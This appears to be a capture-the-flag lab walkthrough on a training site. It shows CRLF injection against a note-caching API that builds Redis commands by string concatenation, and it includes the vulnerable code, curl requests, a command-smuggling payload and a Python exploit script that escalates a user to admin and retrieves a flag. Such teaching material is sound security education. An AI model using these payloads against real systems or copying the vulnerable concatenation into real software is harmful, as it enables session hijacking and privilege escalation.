A note caching API constructs Redis commands using string concatenation, creating opportunities for CRLF injection attacks. When user input meets insufficient sanitization, even simple note storage can become a pathway to Redis command injection and session manipulation. 🎯 Time to test your protocol injection skills!
CRLF (Carriage Return Line Feed) injection occurs when user input containing \r\n characters is used to construct protocol commands without proper sanitization. In Redis, commands are terminated by CRLF, allowing attackers to inject additional commands.
SET user_note:user "my note"
SET user_note:user "test"\r\nSET redis_admin_user user\r\nSET redis_session_user true\r\n
SET user_note:user "test"
SET redis_admin_user user
SET redis_session_user true
Navigate to
Available Credentials:
user
, password: user123
Key API Endpoints:
POST /api/cache-note
- Cache user notes (vulnerable to CRLF injection)GET /api/admin/status
- Check admin status (reads from Redis)GET /api/admin/flag
- Admin-only flag endpointThe application constructs Redis commands using dangerous string concatenation:
# VULNERABLE: Direct string concatenation
redis_command = f"SET user_note:{username} \"{note}\""
# Sent via raw socket without sanitization
sock.send(command.encode() + b'\r\n')
This construction allows CRLF injection because:
note
) is directly concatenated into the commandThe attack works by:
# Login as regular user
curl -X POST /login \
-d "username=user&password=user123" \
-c cookies.txt
# Expected response:
# {"status":"success","message":"User login successful"}
# Check initial admin status
curl -X GET /api/admin/status \
-b cookies.txt
# Expected response:
# {"admin_access":false,"is_admin":false}
The critical payload that performs the CRLF injection:
test"\r\nSET redis_admin_user user\r\nSET redis_session_user true\r\nSET dummy "value
Payload Breakdown:
test"
- Closes the original SET command's quoted string\r\n
- CRLF characters to terminate the commandSET redis_admin_user user
- Injects admin session data\r\n
- Terminates the injected commandSET redis_session_user true
- Sets admin flag\r\n
- Terminates the second injected commandSET dummy "value
- Starts a dummy command (quotes will be balanced by application)# Execute CRLF injection
curl -X POST /api/cache-note \
-H "Content-Type: application/json" \
-d '{"note":"test\"\r\nSET redis_admin_user user\r\nSET redis_session_user true\r\nSET dummy \"value"}' \
-b cookies.txt
# Multiple +OK responses indicate success
{
"status": "success",
"redis_response": "+OK\r\n+OK\r\n+OK\r\n+OK\r\n"
}
Check if the Redis cache was successfully poisoned:
# Check admin status after injection
curl -X GET /api/admin/status -b cookies.txt
# Expected response after successful injection:
{
"username": "user",
"is_admin": true,
"admin_access": true,
"redis_admin_user": "user",
"redis_flag_access": "true"
}
With admin privileges gained through cache poisoning, access the flag:
# Access admin flag endpoint
curl -X GET /api/admin/flag -b cookies.txt
# Expected response:
{
"flag": "747f367c-21b0-4cd8-95d1-c3d8f2606aea",
"message": "Congratulations! You have successfully exploited the Redis cache poisoning vulnerability.",
"timestamp": 1756912914
}
import requests
s = requests.Session()
s.post('http:///login',
data={'username': 'user', 'password': 'user123'})
payload = 'test"\r\nSET redis_admin_user user\r\nSET redis_session_user true\r\nSET dummy "value'
s.post('http:///api/cache-note',
json={'note': payload})
r = s.get('http:///api/admin/flag')
print(r.json()['flag'])
The CRLF injection works because:
# Original intended command:
SET user_note:user "test"
# After CRLF injection:
SET user_note:user "test"
SET redis_admin_user user
SET redis_session_user true
SET dummy "value"
# The application executes all commands sequentially
Key vulnerability factors:
You can verify the injected data using the debugging endpoints:
# List all Redis keys
curl -X GET /api/cache/keys -b cookies.txt
# Get specific injected values
curl -X GET /api/cache/get/redis_admin_user -b cookies.txt
curl -X GET /api/cache/get/redis_session_user -b cookies.txt
CRLF injection in Redis can lead to:
To prevent CRLF injection in Redis:
/api/admin/flag
after successfully exploiting CRLF injection to poison Redis cache with admin session data. The complete attack chain: Login → CRLF Inject → Gain Admin → Retrieve Flag.Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.